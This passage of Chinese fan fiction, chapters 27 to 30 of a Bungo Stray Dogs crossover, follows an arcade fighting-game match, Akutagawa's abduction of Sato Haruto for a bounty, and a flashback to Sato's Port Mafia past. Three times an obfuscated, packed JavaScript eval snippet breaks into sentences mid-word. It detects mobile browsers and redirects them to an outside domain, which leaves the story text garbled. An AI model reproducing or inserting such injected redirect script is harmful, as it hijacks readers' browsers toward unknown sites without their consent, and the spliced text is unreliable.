然后他在抬头之际,看见了对方那双充满战意的金色眼眸。 面对泉镜花的反水,佐藤阳翔的第一反应既不是恼怒,也不是遗憾——反而被激起了熊熊的斗志。他从来没想过泉镜花会在第一时间反水,这名此前几乎没有接触过格斗游戏的少女,她的游戏风格也同在港口mafia养成的暗杀者一样沉默且危险,这一次是他轻敌了。 更让他陷入沉思的,是泉镜花说的那句话。 “不要忘记我们最初的目的。” ——多么有哲理的一句发言啊! 佐藤阳翔突然觉得,自己坚持的“战术”和东方仗助坚持的“技术”,都被这句简简单单的话击成了碎片。是的,他们选择的不过是一条更快通往胜利的捷径罢了,但格斗游戏的初心与精髓是什么?当然是最纯粹的,拳拳到肉的拼杀! 游戏名称既然是“四人大乱斗”,那么最终胜利的人才是王者。 不要依靠同伴,而是要依靠自己的拳头啊! 佐藤阳翔语气深沉地道:“真没想到,我的初心和好胜心,居然是在镜花的启迪下迸发的!” “我差点忘记了——我们玩游戏最初的目的,不是为了炫耀技术,也不是为了争个你死我活,而是为了单纯的快乐啊!” 佐藤阳翔感动万分:“谢谢你,镜花酱!你对格斗游戏的理解简直已经超越了大师的级别!我已经明白你的深意了——那就让我们都回归原始,用拳头来一决胜负吧!” 跟着好像了然顿悟的东方仗助:“!!!” 一脸懵逼的中岛敦:“???” 本想为中岛敦做出助攻,却被莫名其妙过度解读的泉镜花:“......” 不是,这对吗? 她并不是这个意思啊! 27.第二十七章 52 虽然现在的局面已经开始朝着不可控的方向发展,但是游戏既然已经开始,就没有中途退出的道理。 在众人尚且蛰伏之际,佐藤阳翔率先发动了进攻——谁都没想到,这家伙狡诈的外壳下居然还有一颗热血沸腾的心,他现在是堂堂正正地在战斗,第一位对手就是目前在地图上距离他最近的东方仗助。 随着一记猛烈的冲拳迎面袭来,东方仗助急忙控制着人物狼狈闪开,但攻击来得实在太出其不意,拖长的拳风还是击中了对方的小腹,判定攻击有效后,东方仗助手中的灰色小人也掉下了一小管血。 “你居然打算单打独斗——不过,既然这是你领悟到的游戏真谛,那就让我来看看你的决心吧!” 东方仗助控制的小人巧妙地钻入建筑物的遮挡,然后等佐藤阳翔手中角色靠近的时候突然爆发,同时将拳头送往了敌人面中,游戏手柄被两个人按得噼里啪啦作响,不知道的还以为这两个人有仇,在借着游戏趁机发泄。 面对佐藤阳翔可能会被淘汰的境况,想让中岛敦与佐藤阳翔能并肩作战的泉镜花当然不能坐视不理。她带着中岛敦冲入战局,在东方仗助与佐藤阳翔打得正激烈的时候趁机收割人头,直接将东方仗助杀了个措手不及。 “可恶,你们居然捡漏!” 眼看血条见底,东方仗助只好又猫回一间空着的屋子——而佐藤阳翔在看见泉镜花加入战场后,并没有要停手的打算,也不管她身边的中岛敦究竟是不是来围攻自己的,被他控制的小人动作迅猛且精准,跳入小院,隔着门再次轰出一记冲拳。 日积月累的游戏经验让佐藤阳翔很快就摸清了攻击的判定范围。出拳后,他果然收到了攻击有效的提醒,只剩下一层血皮的东方仗助无法再躲闪,只好向泉镜花发出了结盟邀请:“镜花,和我一起联手,把阳翔这家伙第一个送出局吧!” 佐藤阳翔轻轻地笑了。 “想让我出局?仗助呀,你还是太年轻了。”佐藤阳翔摇摇头,语气很惋惜,“以为我不组队就是在树敌吗?我说过了,这游戏最后的赢家只有一个人。” 渴望胜利的人就只有他一个吗? 当然不是! 泉镜花虽然想要为中岛敦送出助攻,但她也不想就这么简简单单地输掉游戏。在港口mafia养成的某些杀手习惯被她很好地保留了下来,其中,“认真”和“果断”毫无疑问就是她身上最闪耀的特质。 只见上一刻还向佐藤阳翔进攻的泉镜花,下一刻就靠近了东方仗助——但她的目的不是应约结盟,而是用自己的拳头,在东方仗助猝不及防之时夺走他的生命! 【东方仗助·出局】 “可恶,被摆了一道!”东方仗助不可置信,“为什么?敌人的敌人难道不是朋友吗?!” “这句话的前提是,你们得能有个共赢的结局才行。”佐藤阳翔露出有些狡诈的笑容,高深莫测地摇了摇头,“很可惜,这款游戏只会有一名赢家——猎物还以为猎手是盟友,你实在是太天真了。” 现实正是如此残酷。 东方仗助已经出局,现在场上就只剩下中岛敦、泉镜花、和佐藤阳翔三人。 泉镜花当然不会再和任何人联盟,佐藤阳翔看起来也一样——中岛敦只能茫然地操纵着人物像无头苍蝇似的打转,看着屏幕上针锋相对的二人,有一种自己好像从参赛选手变成了裁判的错觉。 然而,泉镜花的下一道攻击对准的却不是佐藤阳翔,而是中岛敦。她的操作和暗杀者一般让人出其不意,一把将尚处局外的中岛敦拉了进来。 这次四面树敌的人反而变成了泉镜花。 东方仗助已经出局,干等着也怪无聊的,干脆就站到了佐藤阳翔的身后,劝道:“喂阳翔,这种情况还是乖乖和敦组队比较好,你们两个人剩下的生命值都不多了吧!” 眼下的情况确实如此:佐藤阳翔经历了泉镜花的反水和东方仗助的单挑,中岛敦遭到了东方仗助的反水和泉镜花的攻击,如今她所控角色的血条是所有人之中最高的。 同样,她也卡在了一个两难的境地中——只剩下三人的时候,被她攻击过的两人暂时组队当然是眼下的最优解。 中岛敦现在的感情很复杂:“镜花酱...” 他没有想到,泉镜花居然会为了帮助自己,在一个普普通通的四人大乱斗游戏还做到这种份上。 “你的建议不错,毕竟胜利才是最重要的。少年,要不要和我结盟?” 奇怪的是,刚刚还叫嚣着这可是“四人大乱斗”的佐藤阳翔也一转话锋,给中岛敦发去了结盟申请。 望着身旁少女坚毅的冰蓝色眼眸,中岛敦深深吸了一口气。 他甚至可以肯定,如果自己联合佐藤阳翔在此时对镜花发起进攻,她恐怕会直接站在原地当沙包——因为泉镜花已经没有必要再战斗下去了。 她现在的目的已经达到。 等她控制的角色死亡后,与佐藤阳翔对战的人就是中岛敦。无论最终结果如何,她至少已经为中岛敦创造出了一个与佐藤阳翔接触的机会——之后就是他们两个之间的战斗了。 可是,这样就要牺牲镜花的游戏体验啊! 中岛敦其实今早一眼就注意到,虽然泉镜花什么都没说,但她在走进游戏厅的时,眼中亮起的光芒并不是假象——毕竟她现在也正值一个好奇心旺盛的年龄段,虽然表现得并不像其他同龄人一样激动,但中岛敦还是希望她能在这里开开心心地度过一整天。 “少年?” 中岛敦呼气,像是下定了某种决心,操纵着人物释放出了自己的第一记攻击——然而攻击的目标却不是泉镜花,而是向他发起结盟申请的佐藤阳翔! 佐藤阳翔所控角色的血条瞬间降到了四分之一。 但他也被这一折反转激起了斗志:“看来你的外表下藏着一颗很狂野的心啊,少年。” 可是...为什么要放弃这么好的机会? 泉镜花不解地望向中岛敦,却发现对方根本不觉得遗憾,那双总是很温柔的紫金色眼睛反而熠熠生辉,他清了清嗓子,也催促道:“来吧镜花酱,我们就依佐藤先生说的,堂堂正正地来对战吧!” 拳风交接,接下来就是堪称混乱的三人大乱斗。技术不足的中岛敦理所当然地成为了第二名出局者——而在一顿激烈的交锋下,泉镜花最终以微弱的血线优势击败了佐藤阳翔,成为了四人大乱斗的第一名。 败者佐藤阳翔不由得扼腕叹息:“可恶,还差一点点我就胜利了!” “我看你还是乖乖接受这个结局吧。”东方仗助幸灾乐祸地拍了拍好友的背,嘲笑道,“不知道为什么,在看见你输给镜花以后,我的心情居然比自己赢了还要畅快啊。” “...东方仗助我杀了你!” 而泉镜花看着屏幕上的结果,也有些不敢相信地松开了游戏手柄。她的眼睛亮得就像是刚捞出水面的蓝宝石,下意识抬头看向了对面的几人。 “好厉害啊镜花酱!”中岛敦丝毫不吝啬自己的夸奖,朝她竖起一个大拇指,“第一次玩就赢过了东方君和佐藤先生诶。” 佐藤阳翔反驳:“我是因为被仗助这阴险的家伙耗了太多血才输的啦!” “哈,你一个成年人就不要用这种借口了吧!明明就是你的技术不过关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14922636|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ...喂喂,阳翔,你不要一恼羞成怒就扯我的脸啊!” 53 随着“四人大乱斗”落下了帷幕,中岛敦和东方仗助作为失败二人组,在佐藤阳翔的打发下,一个跑去冷饮机前给大家买饮料,一个则去餐厅取午餐。东方仗助本来还嘟囔着为什么会是第二名使唤他们,结果被佐藤阳翔往屁股上踹了一脚。 “因为我们是胜利者啊。”佐藤阳翔老神在在地坐在椅子上,表情简直像压榨奴隶的农场主,理直气壮地说,“胜利者当然是有特权的,更何况你的那份午餐钱还是我出的呢,所以你们两个快点去排队吧!别让我和镜花等太久哦。” “...万恶的资本家!” 中岛敦和东方仗助离开后,现场只剩下泉镜花和佐藤阳翔在这里大眼瞪小眼。为了不让气氛陷入尴尬,佐藤阳翔原本还在想该扯点话题让她轻松一点,结果泉镜花反而率先开口:“...佐藤先生刚刚没有尽力吧。” 她的语气很笃定:“最后那一招,你本来是可以躲开的。” 在最终决斗的时候,她控制的角色挥出的最后一拳虽然看似出奇制胜,但其实已经超出了判定范围;佐藤阳翔操控的角色却刻意慢了一步出拳,起势的时候,角色自动往前迈了一步进入攻击范围,这才让泉镜花以微弱的优势艰难胜出。 不过佐藤阳翔并没有承认,他笑了笑:“谁知道呢,当时的情况可是很紧张的——你突然发起进攻,我最后那一拳肯定会慢你一步呀。” 泉镜花垂下了眼眸,道:“对不起,我本来是打算...” “嘘。你不用为任何事感到抱歉,镜花。”佐藤阳翔摇摇头,伸手摸了摸少女柔软的发顶,语气温柔且体贴,“今天就好好玩吧,不用想那么多事,只要开心就好了——我觉得,大家应该都是这么想的吧。” 泉镜花沉默地看了他半晌,随后才像小猫似的,乖顺地点了点头。 “唉,肚子好饿啊。不知道他们两个什么时候能把午饭带过来啊。”佐藤阳翔撑着下巴,百无聊赖地规划着下午的安排,“下午时间很长,不然吃饱以后直接去玩枪械游戏吧?这座游戏厅足够大,听说还设置了户外场所,那里可以租借游戏枪,十几个人一起竞争,应该会很有意思。” 他说着,目光扫过泉镜花随身携带的那台银色手机:“不过,如果带着手机的话可能会不方便穿防护马甲,可以先暂时放在储存箱里。” 泉镜花低下头,拇指轻轻擦过手机冰冷的外壳。 “这台手机对你来说好像很重要?”佐藤阳翔一眼就看出了少女眼中的眷恋与不舍——他原本还以为这台手机只是普普通通的手机,但现在再看泉镜花的神情,这部手机应该并不简单。 “这是我很重要的东西。”她握紧手机,思绪似乎又回到了父母尚在的那个过去——一家人平静祥和,既没有现在迷茫的痛苦,自己也不必背负沉痛的黑暗。 就在这时,一道熟悉的声音却打破了她的回忆:“是,Boss。已经找到他了。” 泉镜花的呼吸几乎都在那一瞬间停止了,眼眸也因刻在灵魂深处的恐惧而瑟缩颤抖。异能【夜叉白雪】被那人通过电话控制着执行杀人的一幕幕犹在眼前——只是一个声音,几乎让她浑身的血液都向上逆流。 背后传来因常年咳嗽而变得有些沙哑的声音。佐藤阳翔回过头,披着黑色外套的清瘦青年犹如从天而降的死神,在这座欢乐愉快的游戏厅中显得格格不入。 “——异能力【罗生门】。” 随着话音的落下,青年背后几乎能够侵吞世间一切的黑色异兽也张开了凶狠的獠牙,朝着猝不及防的佐藤阳翔径直扑来。 28.第二十八章 53 佐藤阳翔觉得,自己和芥川龙之介之间应该是命里犯冲,否则很难解释眼下的境况。 第二次与芥川龙之介的相遇,照样算不上愉快。 不知道为什么,这家伙每次见到佐藤阳翔好像都致力于取走他的性命。【罗生门】一口咬在被佐藤阳翔踢翻的桌子上,眨眼间就将其撕咬成了无数碎片。游戏厅里的人们听见异常动静,吓得尖叫着四散逃开,反而将通路堵塞得严严实实。 佐藤阳翔非常无奈:“为什么港口mafia每次出场都要搞得和拍警匪片一样?这里可是公共场合,你们胆子也太大了。” 这句话对别人说可能还有点说教的意味,但当对象换成港口mafia的时候,这句话几乎无限接近于一种夸奖。芥川龙之介现在就站在距离佐藤阳翔十步左右的地方,只要他想,【罗生门】可以随时贯穿眼前的目标。 耳麦里传来樋口一叶的声音:“芥川前辈,我们还剩下不到十分钟的时间。” 元町商业街最近的巡警车暂时被樋口一叶带人拖住了,但他们也没办法拖太久的时间。这回选择在游戏厅里动手,就已经是冒着巨大的风险,要是真和警察对峙太久,对港口mafia也没有好处。 佐藤阳翔捕捉到了他按耳麦的动作:“看来你的搭档已经开始催你动手了。不过,在正式起冲突之前,我还是想先知道港口mafia突然出手的原因——至少得让我死个明白吧。” 这次的袭击明显是冲着佐藤阳翔一个人来的,否则芥川龙之介应该会直接对着去买冷饮的中岛敦动手。 佐藤阳翔原本以为有【旧事】在,港口mafia应该不会贸然找上自己;但现在一看,他发现自己还是高估了前公司的道德水平。 芥川龙之介抬起眼眸,毫无感情地打量了一眼面前的青年,忽然冷冷地吐出了几个字:“...不是搭档。” “嗯?” 佐藤阳翔这才意识到芥川是在对自己刚才的用词做出纠正——虽然不太符合目前的气氛,但至少从侧面说明这家伙要杀自己的心也不是很急迫。毕竟森鸥外没有理由在自己失踪这么多年后突然发难,除非有某种外力,向港口mafia开出了极具诱惑性的条件。 “好吧,那当我刚刚说错话了。”佐藤阳翔问,“是谁想要我的命?” “你还是去地狱里寻找答案吧。” 回应他的是【罗生门】又一次猛烈的进攻。 佐藤阳翔现在手边没有武器,只能在游戏大厅中狼狈地躲闪。这种狭窄的地方没有多少发挥的空间,周围的人流也太大,为了防止误伤群众,眼下最好的办法就是利用异能快速离开现场。 但芥川龙之介对佐藤阳翔的心理活动了解得一清二楚。眼看对方打算发动异能一走了之,他缓缓开口:“我劝你最好放弃这种愚蠢的想法。” 在他的身后,是被【罗生门】死死缠住四肢的泉镜花。少女随身携带的匕首不知何时已经到了芥川龙之介的手中,刀锋正抵在她的下颚。 糟了,刚刚没有注意到镜花那里! 她现在没有办法使用异能,面对芥川龙之介的【罗生门】当然是毫无胜算的。当然,芥川龙之介也不在乎挟持的手段是否正大光明,他现在时间紧俏,依森鸥外的指示,他现在必须以最快的速度把佐藤阳翔带回组织。 “如果你敢使用异能逃走,我就杀死她。”芥川龙之介轻飘飘的口吻仿佛在说要扯碎路边的杂草——他很清楚,现在的佐藤阳翔浑身都是软肋,只要一点点的威胁就能让他犹豫。 佐藤阳翔果不其然停了下来。他沉默片刻后,才谨慎地竖起双手,主动靠入【罗生门】的攻击范围:“...我不会跑的,你不是想要我的命吗?我可以跟你回去。” 不知为何,芥川龙之介反而无意识地咬紧了牙关。 ...果然,又是这样。 如果面对同伴的性命被威胁,他应该说的是“随你便”,或者“你要杀他和我有什么关系”;更何况泉镜花只是一个和他几乎没有多少交集的人,从前的恶犬怎能为一介微不足道的旁人而心软... “这副无能的样子真令人作呕。你现在实在软弱得超出在下的想象。” 芥川龙之介在说出这句话的时候并没有松开抵住少女喉咙的刀锋,手腕反而因为过分用力而微微地发着抖,一滴鲜血从匕首留下,昭示着局面掌控者此刻并不愉快的心情。 他的情绪变化总是这样毫无理由。 佐藤阳翔不由得开始怀疑,芥川的精神是不是有什么毛病。 这也不行那也不行,到底还要他怎样啊?! 但是为了镜花,忍一下。 “...如果骂我能让你消气一点的话,你就骂吧。”佐藤阳翔别无他法,只能尽力帮他顺毛,“我提醒你一下,巡警很快就会到——会选择贸然在这里动手,你们应该冒着巨大风险;如果你愿意放过镜花,我可以主动和你走,对你们来说也省事吧?” 东方仗助和中岛敦至今还没有回来——或许是被逆反的人流堵在了半路上,又或许他们根本就不知道这里发生的一切。总而言之,佐藤阳翔无法拿泉镜花的性命赌他们什么时候能够回来增援。 芥川龙之介的耳麦里也再次传来了樋口一叶的催促声:“前辈,警车快到了。” 长久的沉默之后,芥川龙之介终于还是勉强压下心头的怒火,做下了决断:“...你捡回了一条命,镜花。跟上来。” 后面那句话是对佐藤阳翔说的。【罗生门】将芥川龙之介手中的匕首嚼得粉碎,同时黑色的桎梏也离开了少女的四肢——本来按照港口mafia的规矩,他们将对背叛者追杀到天涯海角,如今能暂时放过她一命,纯粹只是为时所迫。 眼看芥川履行了承诺,佐藤阳翔也没有再说什么。他回头向眼含泪光的泉镜花比了个OK的手势,跟在芥川的身旁走出了游戏厅。 前来接应的樋口一叶已经停好轿车,佐藤阳翔一上车就被人套上了手铐——为了防止他中途使用异能逃跑,港口mafia的人还为他注射了一针肌肉麻醉剂。 现在的佐藤阳翔就是一块任人宰割的鱼肉。 他浑身无力地靠在后座上,甚至需要费好大的力气才能发出声音:“...现在该告诉我,是谁要我的命了吧。” 芥川龙之介面无表情地抱着胸坐在他身边,目光直视前方:“昨天夜里,你的名字出现在了黑市的悬赏单上,金额是一百亿美金。” 佐藤阳翔瞬间就明白过来。 港口mafia突然如此着急将自己带回去,甚至不惜闯入警方眼线遍布的商业街,进入容易被人目击的游戏厅,确实只是为了将自己带回港口mafia。 ——杀人灭口。 “哈...看来你们首领真的很在乎那封信啊。” 几年前,佐藤阳翔为了活命,曾经给森鸥外寄去了一封有关公开港口mafia罪行的恐吓信。也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14927927|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 正是因为这封信,森鸥外收回了对他的内部追杀令,将他的身份从“叛徒”改为了“失踪者”。 一百亿美金确实很吸引人,但比拿到这些钱还要急迫的,还有回收自己这个“失踪者”,将自己身上曾经背负着的那些秘密彻底清除。 毕竟,只有死人不会说话。 “不过...龙之介,你难道不想知道那些秘密吗?”他微笑着,语气充满了恶劣的煽动性,“说不定很值钱哦。” 54 “砰”地一声,是额头磕上车窗的声音。 佐藤阳翔在肆无忌惮地对芥川龙之介犯贱后,果不其然被他拽着头发狠狠撞上了车窗——可惜这辆轿车平时是樋口一叶载芥川龙之介的专车,为了让体弱的芥川龙之介坐得舒服,樋口一叶在做车内装潢的时候也力求柔软舒适,这点倒便宜佐藤阳翔了。 佐藤阳翔只有一点和原来一样,那就是一样欠揍。 芥川龙之介想,如果不是森鸥外下了死命令,要先把这叛徒带回地牢拷问,那他一定会在游戏厅里就杀了他。 “看来你还没看清自己的下场。”他冷笑,“你的前路只剩下修罗地狱。” 被抓回港口mafia会有什么下场,佐藤阳翔应该比谁都清楚——毕竟他曾经就是港口mafia里专做“清洁工作”的那个人。凌迟般的酷刑、惨无人道的虐杀、扭曲的尸体,背叛港口mafia之人的下场,只有用死亡堆砌出来的绝望与虚无。 就在这时,经过改装、且特意用于港口mafia内部通讯的电台突然被接通。不稳定的无线电频道中发出沙啦啦的噪音,一道有些失真的声音伴随着尖锐的刹车声响起:“大姐头,不好了!前面好像出事了,听说有一道蓝色的传送口突然出现在了大路上,警察已经开始阻止车辆通行了,你们早点掉头吧!” “可恶,怎么突然在这种时候...”樋口一叶皱起眉头,咬紧牙关打着方向盘,“前辈,请不要担心——我们还可以从另一条小路走。” ——蓝色的传送口。 佐藤阳翔突然露出了一个琢磨不透的微笑。但他的眼底并没有笑意,要在浑身肌肉麻醉状态下扯出表情不算容易。 他侧过脸,几乎是用气音在说话。 “龙之介,你知道吗?其实有时候我的求生欲还是蛮强的。” 他说这句话的时候,语气温柔到了极点,“你说得没错,如果我回到港口mafia的话,前方只有地狱在等着我。” “你应该还记得,我的异能每次只能转移一个单位的位置。在这种情况下如果使用异能逃走的话,被注射麻醉剂,无法动弹的我应该很快就会被你们找到。” 望着青年平静的金色眼眸,芥川龙之介的心底突然升起了一个不好的预感。 “但是,我们现在正在【同一辆车】里哦。” 一辆车,正是一个最普通的计数单位。 “芥川前辈,车在自己移动!” 一阵令人难受的晃动后,樋口一叶发现车内的仪表盘竟然失灵了,随后四周的景物正在以肉眼难以捕捉到的速度往两边退去,直到眼前出现了一个蓝色的、原本已经被警方在外围竖起隔离线阻挡的传送口,她的表情才猛然一变。 象征异能发动的光芒缠绕在佐藤阳翔的周身。 在被传送口的蓝色光芒彻底吞噬之前,芥川龙之介看见的是他轻蔑且狡诈的表情。 “龙之介,现在让我们一起下地狱吧。” 29.第二十九章 55 早春的空气很冷。一呼一吸间,冷空气顺着血管一路钻进人的胸腔和脏器里,传来麻痹般的刺痛。清晨的阳光没有什么温度,斜洒入屋内,一双手推开临街的窗户,街道上只有零丁几人走过。 屋内,无线电广播里正在播报今日的天气:晴,无雨,水分干燥,相较昨日气温稍有回升。 一名穿着笔直西装的黑发少年就站在窗边吃早餐,他撕开一袋牛奶,往烤好的面包上抹上致死量的蜂蜜和葡萄果酱。吃过早饭后,他撕下挂在墙上的一页日历,代表新的一天已经到来——然后将放在桌子上的德产P229收好,插进了被西装外套掩盖的后腰枪袋里。 今天也是工作的一天。 在加入港口mafia以后,这样的日常已经不知道重复了多少遍。少年走出大门,手中攥着有关本次任务的资料——闳野次一郎,港口mafia下级组织某家子公司的财务组长,于上周三失去行踪,和他一起消失的还有公司账户上千万日元的存款。 公司管理层判断他已叛逃。在森鸥外的授意下,【清洁小组】收到指令,要求“清洁人员”在三天之内解决这件事,把被叛徒卷走的钱款带回来。 港口mafia对待叛徒的态度就是绝不姑息——但意料之外的,最近敢在他们眼皮底下卷款跑路的家伙好像越来越多了。与此同时,“清洁人员”的伤亡数目也开始呈指数上升,这门差事也变得越来越危险。 电话铃声响起,听筒里传来组长急促的声音:“喂佐藤,你现在在哪里?” 佐藤阳翔抬头看了一眼公交牌,距离下一班车抵达站点还有四分钟:“我在赶来的路上。” “你现在不用过来了,我们已经查到闳野那家伙的踪迹。他把一部分钱分别藏在了不同的地方,想要借机支开我们——他自己则带着大头打算坐今天出发的货船偷渡到国外。我们待会儿就在码头碰面,活要见人死要见尸,千万别让他溜走了!” “我明白了。” 佐藤阳翔挂掉电话后,下意识地摸了一下自己的外套口袋,结果只从里面掏出了几根棒棒糖——他这才迟钝地想起自己正在戒烟,只好认命地剥开一根柑橘口味的叼在嘴里。 最近一班去港口码头的车还要再等十分钟,佐藤阳翔当然不可能自费打车过去,他靠在公交牌下面百无聊赖地发呆,直到一只手拍了拍他的肩膀,少年才迟钝地仰头,用那双金色的眼睛往身后看了一眼。 “噢,是你啊~早上好,织田作之助先生。” 眼前的红发男人面容坚毅,穿着一身略显过时的衣服,看起来有点颓废和落魄——织田作之助,和佐藤阳翔同属港口mafia最不起眼的底层职员,在半年前的某次巡逻工作中意外与佐藤阳翔结识,现在偶尔会在下班后一起去吃咖喱和拉面。 “你正在出任务吗?” “对。在找一个躲在货船底下,想要偷渡到不知道哪个国家的混蛋——他害得我要在这个冷冰冰的地方多站六分钟。等我找到他,我一定要把他的脑袋拧下来当足球踢。” 佐藤阳翔有气无力地吐露着上班的烦恼。织田作之助倒是已经习惯成为他倒苦水的树洞——他还记得半年前刚见到佐藤阳翔的时候,其他人都让织田作之助别理这个疯子,因为这家伙没事的时候会对着空气说话。 所有人对佐藤阳翔的评价都出奇地一致: “这少年好像不太正常。” 类似的评价,织田作之助只在另一名热衷于自杀的好友身上听说过。 不过等织田作之助真正接触到佐藤阳翔的时候,才发现这名少年真的只是一名普普通通的十五岁少年:他喜欢吃甜食,平常上街除了买葡萄就是买橘子,要不然就和同年龄段的混混一起混迹游戏厅。 他偶尔也会学着大人的样子抽烟,不过最近好像已经开始戒了。 成为港口mafia的人,总是背负着一些外人难以想象的过去。佐藤阳翔自己不愿意说,织田作之助也不会自讨无趣地去问——他们两个就“奇怪”这一点上还是很合拍的。 爱对空气说话、追逐玩乐的少年疯子,以及不愿意杀人、很会倾听的mafia。 所以,一听见佐藤阳翔又开始大倒苦水,织田作之助压根就没打算认真听,只是简单回应道:“啊,那你确实挺惨的。” “你说这句话的表情让我觉得你根本就没在听。”佐藤阳翔有点不满,但很快又泄气地将话锋一转,悻悻地揉了揉鼻子,“算了,我原谅你。谁让我们是朋友呢?” 织田作之助:“...我不需要你原谅我,还有,我暂时保留你使用最后这个称呼的权利。” “欸?这种话真让人伤心啊!你看不到我眼中的忧伤吗?” “...好假。” ...... 在这种没营养的对话中,时间很快就流逝了。 织田作之助本来就只是恰好路过,陪佐藤阳翔唠叨几句纯属帮他解闷,随着公交车准时抵达站点,他也差不多到要离开的时候了。 上车前,佐藤阳翔喊住他:“今天下班以后,再一起去吃咖喱吧!” 56 横滨,货运港口。 佐藤阳翔在这里下车,发现这里的人潮熙熙攘攘,不要说闳野次一郎的影子,可供他藏身的货船数量多得让人头疼,简直不敢想象今天的工作量有多大。他抵达目的地后,再次给组长打去了电话,但听筒里只有嘟嘟的机械忙音。 “难道要我一个人搜索所有船只?我才不干嘞...” 佐藤阳翔一直都很有身为社畜的觉悟,那就是给多少钱办多少事——如果月薪只够雇佣牛马的话,他就绝不可能干跑车能干的事。现在的港口mafia虽然相较前几年的薪资待遇已经好了不少,但佐藤阳翔还是对【清洁小组】高危的工作环境有所不满。 是的。 他正处在一个想跳槽,但又没地方去的尴尬境地。 就在这时,一个电话打了进来。 那是一道特意用变声器处理过,听不出性别的沙哑声音:“往前走一百米,往左转,在一艘白底红纹的小船里,你要找的人就在那里。” 佐藤阳翔反复查看了一下屏幕上的号码,确实是一通未接来电:“...不是,你谁啊?” “你不需要问,你只需要按照我的指示行事。” “我不买房不买保险,没有小孩也不报辅导班!” 佐藤阳翔按断通话键,皱着眉头嘟囔道:“现在骗子都这么恐怖的吗,什么时候已经进化到知晓港口mafia业务的程度了?信息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14932087|159914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泄露真可怕。” 话虽这么说,但他的好奇心已经被十分充分地调动了起来。组长的电话现在依旧打不通,佐藤阳翔虽然不打算傻乎乎地多干活,但他确实对这通电话里说的那个位置起了兴趣。 反正也才一百米... 少年迟疑着迈出第一步,第二步。等到到了一百米的位置再往左转,果然在一干货船中找到了那只不起眼的白底红纹的小船,船好端端地被拴在岸边,各种东西堆积在一起,看起来空无一人。 他迟疑片刻,最终还是蹑手蹑脚地走了上去,船身随着他的动作微微摇晃。 “这里哪藏了人?”佐藤阳翔绕了一圈,掀开了不少遮挡在货物上的防水布,但他发现箱子里的东西都是空的——怎么会有船载这么多的空箱子? 现在只剩下船头那个巨大的木箱。 他原以为又会是一座普普通通的空箱子,抬起脚往上面踹了一下,却发觉里面似乎装了什么东西,踢起来沉得慌。而且被踹一脚以后,箱子里的东西立刻开始激烈地活动了起来,发出沉闷的呜呜声。 佐藤阳翔立即打开箱子,在里面看见了一张充满惧色和汗水的脸。 闳野次一郎,卷款逃走的叛徒。可是现在,他的嘴被胶布封住了,手脚也被反绑在了一起,只剩下一双充满惧怕和强烈求生欲望的眼睛,在见到佐藤阳翔的那一瞬间就亮了起来,拼命地发出动静,看起来像是祈求他把自己放出去。 可是他的身边没有用来装钱的皮包。 钱呢?! 然而,就在佐藤阳翔伸手想要揭下胶带的那一刻,他看见闳野次一郎胸前的布料突然亮起了一星红光。下一秒,爆炸声连带着巨大的热浪,将佐藤阳翔整个人都掀翻了出去——他下意识护住脆弱的头部,身体也沉入了早春冰冷刺骨的海水里。 光线好像距离自己越来越遥远,无力感、窒息感一起涌上来。然而,就在水波晃动的声音里,一道几乎是从灵魂深处发出的金属质声音,却模模糊糊地传入了他的耳中:“检测到宿主生命力过低,是否选择消耗...” 他乏力地闭上眼,声音消失了。 黑色的,粘稠的虚无与黑暗裹挟着他的身体。像是在□□描述下的可怖梦境中奔跑,佐藤阳翔觉得血液一瞬间返流,耳边只剩下机械出故障般的声音。 在周围的尖叫声里,他爬起来吐出一滩堵在胸口里的水,恍惚了许久才发现自己又居然回到了岸上,活脱脱像一只爬上岸来的水鬼。 刚刚好像听见了很熟悉的声音? 他再凝神去听,却没能再捕捉到类似的声音。 与此同时,一双黑色的皮鞋出现在了他的视野里。佐藤阳翔顺着这双鞋往上看,对上了一双极度空洞的眼睛。来人有一张苍白到可以称得上灰败的脸,五官端正,表情冷淡,黑色大衣垂在他的腿边。 真奇怪... 明明是第一次见面,佐藤阳翔却本能地叫出了这个人的名字:“...芥川...龙之介?” 少年立刻拧起眉头:“你怎么知道在下的名字?” 佐藤阳翔干巴巴地回答:“不知道,突然就想到这个名字了,我总觉得你好像在哪里见过...游戏厅里?电影院里?还是别的什么地方?感觉你眼熟得要死——我说真的。” 30.第三十章 57 总而言之,佐藤阳翔和芥川龙之介的初遇是在非常狼狈的情况下发生的。他差点就要把那句“我们是不是之前见过”这种烂大街的话术脱口而出——但在对一名眼熟的陌生人开口搭讪之前,佐藤阳翔其实更想知道自己是怎么从水里爬上来的。 